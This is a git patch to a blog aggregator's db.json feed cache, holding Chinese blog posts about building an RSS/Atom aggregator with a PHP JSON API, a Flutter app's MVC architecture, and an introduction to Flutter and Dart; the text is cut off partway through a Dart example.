From 1fa4727606d887d3427b8f4d73322d3bb1e46155 Mon Sep 17 00:00:00 2001 From: xeonds Date: Thu, 20 Jul 2023 10:27:58 +0000 Subject: [PATCH] =?UTF-8?q?Deploying=20to=20web=20from=20=20@=2038fa43ab80?= =?UTF-8?q?050f7d81f8fb5363bb7f2acac3130d=20=F0=9F=9A=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- db.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db.json b/db.json index 46b40267..8ebef1a8 100644 --- a/db.json +++ b/db.json @@ -1 +1 @@ -{"version":1,"author":[{"name":"SuperBart/BenderBlog","email":"","uri":"https://www.superbart.xyz/","description":"Recent content on SuperBart/BenderBlog","article":[{"title":"XDU Planet 感想","time":"2023-07-15T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"http://legacy.superbart.xyz/picture/Random/adwaita-d.webp\" alt=\"Featured image of post XDU Planet 感想\"/\u003e\u003ch2 id=\"这个项目的由来\"\u003e这个项目的由来\u003c/h2\u003e\n\u003cp\u003e事情从我看同学博客说起。我感觉把我同学的博客都聚合到一起看,看起来更方便,而且还能满足我一直想当“干新闻的”想法。毕竟,我在校内开过一段时间电台,天天报新闻()\u003c/p\u003e\n\u003cp\u003e我的想法是,按照时间更新 RSS 数据,然后对其进行解码渲染。客户端先选择对象,然后选择文章,就可以看了。我的想法可以说是服务器版本的 RSS 阅读器,只不过 RSS 列表是我写好的同学博客。这个和看报纸十分相似:作者给报社供稿,报社展示。所以我说有点像“搞新闻的”。\u003c/p\u003e\n\u003ch3 id=\"第一次尝试\"\u003e第一次尝试\u003c/h3\u003e\n\u003cp\u003e大约是去年,有个人写了个 go 语言实现的 xduplanet,他的想法是运行一个服务器程序,内部订好抓取 RSS 源的顺序,然后渲染显示。我当下来代码发现,虽然他能做到我上面的想法,但是开发阶段比较原始,他只有一个 json 文件写入所有人的 RSS 链接。而且页面是一个文章列表,而不是先选人再选文章。当时我时间较紧,能力也没那么强,我就作罢。\u003c/p\u003e\n\u003ch3 id=\"第二次尝试\"\u003e第二次尝试\u003c/h3\u003e\n\u003cp\u003e在做 Web 工程大作业的时候,我们组不知为啥,搞的是从网上获取数据,然后用 RSS 输出数据的软件。他是一个管道过滤器结构,RSS 输出只是一个最终的端口。这也是我的一大意向程序,然而我并没帮忙开发多少,只是验收的时候我去演示了而已:-P\u003c/p\u003e\n\u003cp\u003e这个软件实际上十分接近我的需求了,我可以按照列表,推送当天同学博客有啥更新。但是那次演示完了,我感觉我是不想用了……\u003c/p\u003e\n\u003ch3 id=\"这次尝试\"\u003e这次尝试\u003c/h3\u003e\n\u003cp\u003e前几天有个玩老电脑的推荐我 68k.news 和小可怜网的代码。虽然一开始我只是抱着看看能不能用,在服务器上运行了一下,但是我看这网站,感觉我的 XDU Planet 想法终于可以实现了,而且这回基本算是做熟了,摆在了我的桌子上。但是你吃饭还得把菜放在嘴里…..\u003c/p\u003e\n\u003ch3 id=\"代码修改\"\u003e代码修改\u003c/h3\u003e\n\u003cp\u003e修改了两个方面:Atom 源的支持和 API\u003c/p\u003e\n\u003ch4 id=\"atom-源头\"\u003eAtom 源头\u003c/h4\u003e\n\u003cp\u003e这个项目,由于本身是为了不支持 js 的老电脑显示当前新闻,他使用了 php-cgi 。不过没关心,我看代码十分简单,我就直接上了。我先简单地安排了我同学的博客,然后发现很多人的博客都显示不完全。\u003c/p\u003e\n\u003cp\u003e我去查看了这个项目使用的 php rss 库下面两个示例文件,和本项目进行比较。我发现本项目只支持 RSS 源头,而且 RSS 只支持查看 description 的东西。诚然对于显示新闻的 RSS 源来说,是够用了,但是我同学博客使用了不同的框架,这些框架输出源的格式对于这个程序,算超刚了:-P\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e一类是输出了 Atom 类型的源,这个打开头就和 RSS 不一样,程序最后报错。\u003c/li\u003e\n\u003cli\u003e一类是 RSS 源,但是内容都在 content:encoded 里面,这就是显示不完整。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我是一个基本没接触过 PHP 的人,但是代码比较好理解,我发动 CV 大法,把示例文件里面的解码文件抄了过来。然后就可以显示了……乱码。\u003c/p\u003e\n\u003cp\u003e没错,可能是为了兼容老电脑,这个东西使用国标码编码中文。我还得套一层中文编码器,这个我倒感觉能理解。毕竟这个网站本身是针对 Windows 98 级别的老爷机了。\u003c/p\u003e\n\u003cp\u003e以上修改都是针对 channel.php 文件,也就是输出 RSS 文章列表和文章内容的代码。这个项目有很多诸如 channel_ppc.php 等文件,我故意没动,让他们管理我新闻东西的输出,看着新闻这点阵字体,真的很怀旧。\u003c/p\u003e\n\u003ch4 id=\"api\"\u003eAPI\u003c/h4\u003e\n\u003cp\u003e上面的修改过程也是对本项目架构和功能的一个了解。在此之后,我魔改生成 Json 响应代码也就顺水成舟了。\u003c/p\u003e\n\u003cp\u003e这就又要扯到 Traintime PDA 了,这是我大半年以来一直在写的信息查看器。我一直想给这玩意扩充点好玩的功能。最一开始我把很久以前给别人录的饭堂和综合楼数据,在我的程序上进行渲染。但是我总想给这玩意扩充点类似“社交”的功能。正好 XDU Planet 可以在一定程度上满足这个需求,这个可以给大家展示我们同学公开的实用东西,而且这个东西也不需要获取啥机密讯息:他们的博客都是在互联网上公开的,而且终端只需要单方面获取就行了,这是一个单向的信息传递。我的代码也都是开放的,十分符合我开源的执念233\u003c/p\u003e\n\u003cp\u003e前面我提到了 channel.php 的用途,而这个代码的前半部分基本不需要修改,我只需要把下面的 PHP-HTML 混合代码修改成纯脚本输出就行了。PHP 本身支持设置返回头啥的,我只需要把返回头设置成 application/json,然后使用 exit 函数返回我的数据就行了。这就是初步的修改。\u003c/p\u003e\n\u003cp\u003e显然这么简单一改是无法完全我的需求的,API 面向的客户端可不是老年机。为了最后的 Eye candy,我对最核心的数据结构进行了修改。你们可以查看我的 xdurepo.php 文件,我把这个人的图标,名称,地址都传了过去。而最终为了输出 json 更好被客户端解码,我在每个返回值外面都套上了 stdClass。\u003c/p\u003e\n\u003cp\u003e基本上 API 就算这样了,我这里写出来。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"err\"\u003eGET\u003c/span\u003e \u003cspan class=\"err\"\u003e/xduplanet.php\u003c/span\u003e\n\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;repos\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;benderblog\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"c1\"\u003e// key: 该对象名称,后面查询使用\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SuperBart/Benderblog ~ 开发者\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 显示名称\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;website\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.xyz\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 博客网站\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;feed\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.xyz/index.xml\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// RSS 或 ATOM 源头\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;favicon\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://legacy.superbart.xyz/favicon.ico\u0026#34;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 图标\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"err\"\u003eGET\u003c/span\u003e \u003cspan class=\"err\"\u003e/xduplanet.php?feed=key\u003c/span\u003e\n\u003cspan class=\"err\"\u003e其中\u003c/span\u003e \u003cspan class=\"err\"\u003ekey\u003c/span\u003e \u003cspan class=\"err\"\u003e是上述提到的后面查询使用的\u003c/span\u003e \u003cspan class=\"err\"\u003ekey\u003c/span\u003e\n\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// 文章列表,下面分别对应标题,发布时间和来源链接\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;list\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;title\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Flutter 介绍\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;2023-04-29T08:00:00+08:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;url\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.xyz/p/flutter-introduction.html\u0026#34;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// lastUpdateDate:本数据的获取时间,为将来备\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;lastUpdateTime\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1689432413\u003c/span\u003e\u003cspan class=\"err\"\u003e用\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"err\"\u003eGET\u003c/span\u003e \u003cspan class=\"err\"\u003e/xduplanet.php?feed=key\u0026amp;p=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\n\u003cspan class=\"err\"\u003e其中\u003c/span\u003e \u003cspan class=\"err\"\u003ekey\u003c/span\u003e \u003cspan class=\"err\"\u003e是上述提到的后面查询使用的\u003c/span\u003e \u003cspan class=\"err\"\u003ekey,p\u003c/span\u003e \u003cspan class=\"err\"\u003e指上面文章列表中第几个文章\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 文章标题,来源链接,发布时间,内容\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e// 注意内容是和前面所述老网站网页输出是一样的,也就是图片,视频等会被隐藏掉\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;title\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Flutter 介绍\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;link\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.xyz/p/flutter-introduction.html\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1682726400\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;content\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Omit here.\u0026#34;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我在 Traintime PDA 里面的相关分页也写了相关页面,还明白了 PageView 如何保存状态,每天一个编程小常识这就是?\u003c/p\u003e\n\u003ch3 id=\"后面的胡说阶段\"\u003e后面的胡说阶段\u003c/h3\u003e\n\u003cp\u003e我把这个服务挂在了我的服务器上,还上新了一些外网著名媒体。没敢上那些明显危险的,我感觉这些媒体都算是比较中立的吧:-P\u003c/p\u003e\n\u003cp\u003e顺便想说几句 PHP 开发,我写了一个文件,然后调试方式只能传到服务器,然后看 nginx 的 log。魔改体验比较痛苦:-P\u003c/p\u003e\n\u003cp\u003e对于新闻,作为一个看了十年中央十三台的人来说,我有点无法理解拿新闻看乐子的人的想法。虽然这个方式确实是给了我这个老木头一点亮光。比如说,前几天是故日本首相安倍晋三被刺杀一周年纪念日,我作为严肃看新闻的,去看现任首相岸田文雄去纪念,然后继续不顾周边国家骂街去放核污水。但是有人说“日本JK被摔倒一周年纪念日”,我总觉得有点无语,倒也觉得正常。\u003c/p\u003e\n\u003cp\u003e但我发现,有些时候真的有点太过了。比如说俄乌战争,本来我去网上只是去看战争状况,然后就是无论从那个角度,都是“俄罗斯粉丝”和“乌克兰粉丝”互相隔空输出,顺便拿乌克兰找乐啥的。我总觉得拿人被欺负开玩笑很不合适,虽然这件事本身很复杂,没有任何人是无辜的。虽然我早就接触过楼下老大爷天天建政,也算“身经百战”,但是我感觉,这可是一个了解世界,了解想法很重要的渠道,就这么当作乐子,真的有点不太合适。\u003c/p\u003e\n\u003cp\u003e我希望看到的是对一个事件有调查,有分析,有结论的东西,这样无论如何至少都能骂两句(不是)。而不是“今天澳大利亚又刮起了沙尘暴,养羊的少了几只羊,估计是走失了”这样的短视频。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/xdu-planet-acquaintance.html"},{"title":"Traintime PDA 架构设计","time":"2023-06-06T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/general_structure.png\" alt=\"Featured image of post Traintime PDA 架构设计 \"/\u003e\u003cp\u003eXDYou 就算 Traintime PDA 别称了。\u003c/p\u003e\n\u003ch2 id=\"整体架构设计\"\u003e整体架构设计\u003c/h2\u003e\n\u003cp\u003e由于本程序是一个信息查询工具,其基本是围绕数据运转的,所以我打算使用仓库架构。这个图作为一个大致的示例。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/repo.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/repo.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e但光靠一个“仓库”是无法维护本程序如此多类型的信息的,你现实中的仓库还得找个管理呢。因此我借鉴了构件系统的想法,把仓库里面的东西分成以下几个“部件”。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/components.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/components.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e仓库结构解决了我们如何管理我们复杂的数据,但是我们的程序是一个 GUI 程序。也就是说,这个程序有两个部分,一个是数据,一个是显示数据的东西。数据相当于仓库,而 GUI 是用来向仓库请求数据,并显示数据的部分。仓库返回数据的时候,肯定需要一些处理,这个东西就是控制器,是我们程序仓库的一大组成 部分,我将会在下面讲述。\n这个架构有个名称,叫做 MVC 架构,在此引入我在\u003ca class=\"link\" href=\"https://legacy.superbart.xyz/writing/Flutter%20Introduction.html\" target=\"_blank\" rel=\"noopener\"\u003eFlutter 介绍\u003c/a\u003e里面提到的东西:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e我先给大家介绍 MVC 架构,Model 模型,是说程序的功能。控制器是和视图View进行交流,View视图就是显示了。View 通过 Controller 获取 Model 中的东西。\n以下这段展示的是我程序对应的模型各组成的部分。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/simple_structure.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/simple_structure.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e这个架构也可以看作是一种流水线结构,其中控制器相当于一种过滤器。接下来我会专门开一章简介一下。\n同时,我们可以看出我们程序的层级结构,数据大致是从中心往外围传递的。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/level.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/level.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"控制器\"\u003e控制器\u003c/h2\u003e\n\u003cp\u003e我上文提到,控制器负责中转 GUI(也就是视图)的请求,处理后端传回来的数据。这个有两种实现方式,分别是观察式和控制器类式。\u003c/p\u003e\n\u003ch3 id=\"观察式\"\u003e观察式\u003c/h3\u003e\n\u003cp\u003e第一个是观察式,适用于数据单向流动,数据加工相对简单的情况。这种情况下,这个部件的数据流动遵循标准的数据流架构。这个过程中,由于数据的单向移动和最终 UI 的被动更新,我们可以认为是 UI \u003cstrong\u003e观察\u003c/strong\u003e数据改变。在这种情况下,数据更新依赖于其他部件的更新请求是不是顾及到了这个部件,比如说主页的全局刷新。\n\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/observe.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/observe.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch3 id=\"控制器类式\"\u003e控制器类式\u003c/h3\u003e\n\u003cp\u003e第二个是控制器类式,不仅适用于数据加工十分复杂的情况,而且适用于需要视图发出更新请求的情况。在这个情况下,数据的流动不是单纯的单向,而是双向的。而且由于涉及到很多信息,还有很多部件都依赖于一个信息源,这个控制器使用一个类的方式实现比较合适。\n在我的程序中,课表信息是用这个实现的,因为课表信息相当综合,而且很多视图依赖于课表信息。\n我的课表信息包括:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e当前周次信息\u003c/li\u003e\n\u003cli\u003e课程信息\u003c/li\u003e\n\u003cli\u003e课程的时间安排信息\u003c/li\u003e\n\u003cli\u003e根据上面两个信息,预先计算好的按照时间排序的课表信息\u003c/li\u003e\n\u003cli\u003e当前课程信息\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e依赖课表信息的视图有:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课程表窗口,这个只是单向接受课表信息\u003c/li\u003e\n\u003cli\u003e首页的周次信息显示,单向接受周次信息\u003c/li\u003e\n\u003cli\u003e首页的当前课程卡片,这个不仅可以展示当前课程信息,还可以触发重新加载\u003c/li\u003e\n\u003cli\u003e首页重新加载包括重新加载课表\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e具体图示请看下面总结图中的课表相关部分。\u003c/p\u003e\n\u003ch2 id=\"自行管理状态\"\u003e自行管理状态\u003c/h2\u003e\n\u003cp\u003e虽然很多数据是遵循上面提到的控制器(数据流)系统。我程序有两个数据是自行管理的,也就是说,他不需要上面提到的管道,而是自行管理。因为这些数据依赖于之前已经获取到的数据。我的程序有两个部分是自行管理的:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e查询成绩中,自行选择科目计算均分,这个均分状态是由成绩查询窗口维护的。查询窗口维护一个成绩数组,自己检测选中的科目,然后计算显示。\u003c/li\u003e\n\u003cli\u003e查询打卡成绩中,我们需要维护一个布尔变量,他用来决定显示的是所有记录还是成功记录。显然,这需要依赖于已经返回的数据。大家可以类比为 js 里面对数组进行 filter 操作。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e上面两章想了解更多,可以看\u003ca class=\"link\" href=\"https://legacy.superbart.xyz/writing/Flutter%20Introduction.html\" target=\"_blank\" rel=\"noopener\"\u003eFlutter 介绍\u003c/a\u003e文章中 Flutter 内部的状态管理章节。\u003c/p\u003e\n\u003ch2 id=\"总结\"\u003e总结\u003c/h2\u003e\n\u003cp\u003e最后,我们根据分类,看出以下按照部件和数据流动看出来的布局。其中,横线表示这两个在程序中是紧密相关的,箭头代表了数据流动的方向。紫色的是控制器,蓝绿色的是最终的窗口。\n\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/general_structure.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/general_structure.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n我们程序的架构是这样的:\u003cp\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e程序是围绕数据运转的,所以总体上遵循仓库架构,其中仓库分成若干组件。\u003c/li\u003e\n\u003cli\u003e各个组件有一条数据流的线性传递方式,控制器作为数据源,也就是仓库,和最终显示组件之间的过滤器和中转站。\u003c/li\u003e\n\u003cli\u003e大致可以看作数据-控制器-界面的三层结构。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/xdyou-sad.html"},{"title":"Flutter 介绍","time":"2023-04-29T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/Flutter%20Introduction/Maggie\u0026#39;s%20Butterfly%20Longest%20Daycard%20Short.jpg\" alt=\"Featured image of post Flutter 介绍\"/\u003e\u003cp\u003e有人邀请我去开个沙龙,我决定将这个,这个就是当时我的演讲稿。\u003c/p\u003e\n\u003ch2 id=\"什么是-flutter--flutter-的好处\"\u003e什么是 Flutter \u0026amp; Flutter 的好处\u003c/h2\u003e\n\u003cp\u003eFlutter 是一个跨平台的客户端(以及网络前端)开发工具,官方定义为:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eFlutter 是 Google 开源的应用开发框架,仅通过一套代码库,就能构建精美的、原生平台编译的多平台应用。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e鉴于入门介绍,我就说的明白些。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e这玩意是用来写客户端程序的,也就是面向用户的程序。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这个东西能够为很多平台生成应用,尽量做到了“平台无关”。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这个东西上手比较简单,性能比较高,开发效率很高。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e目前这个和 React Native 并列两大最流行的跨平台开发平台。而 React Native 还是占用了 React 前端开发框架(Flutter 受 React 影响很大)的优势,Flutter 相比之下就比较小众了,找工作不太好找:-P\u003c/p\u003e\n\u003cp\u003e对我而言,有了 Flutter 的基础,后面要适应其他的类似框架就方便多了。最近我被(zi)人(ji)拉(zhao)过(shi)去(qing)写 vue 去了,我之前没有接触过。但是我稍微看了一下 vue 组合式的教程,就能给人打下手了。CSS 我现在还不会,感觉要会了,我就又会了一个框架(逃)。\u003c/p\u003e\n\u003ch2 id=\"dart-语言介绍\"\u003eDart 语言介绍\u003c/h2\u003e\n\u003cp\u003eFlutter 使用的是 Dart 语言,目前是 Google 专门为 Flutter 设计的语言,因为我根本没找到任何在其他方面用 Dart 编程的例子。而且这玩意曾经还想嵌入到 Chrome……\u003c/p\u003e\n\u003ch3 id=\"dart--javascript--java\"\u003eDart = Javascript + Java\u003c/h3\u003e\n\u003cp\u003e语法像 Javascript,运行时环境像 Java。\u003c/p\u003e\n\u003cp\u003e像 Javascript 在于存在箭头函数,函数变量之类。Dart 对异步的实现 Future 也借鉴了 JS 的 Promise。因为 Dart 设计的时候,对标的就是 JavaScript。\u003c/p\u003e\n\u003cp\u003e而运行环境像 Java,因为他的类设计,编译和运行也很像 Java。类的方面下面会说明。\u003c/p\u003e\n\u003cp\u003eDart 代码的运行有三种方式:一种是直接解释,一种是转码成 Javascript ,一种是编译成 DartVM 虚拟机机器码,然后在 DartVM 里面运行。最后一种有一种 Java VM 的既视感讲道理:-P\u003c/p\u003e\n\u003cp\u003e上面三种方式对应了 Flutter 的开发:调试开发,网页开发,客户端程序。\u003c/p\u003e\n\u003ch3 id=\"给点例子吧\"\u003e给点例子吧\u003c/h3\u003e\n\u003ch4 id=\"基本\"\u003e基本\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"c1\"\u003e// Dart 是强类型语言,但是支持类型推断\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003elineCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 循环,判断和 C 和 JS 一样\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eweLikeToCount\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003elineCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecountLines\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003elineCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan 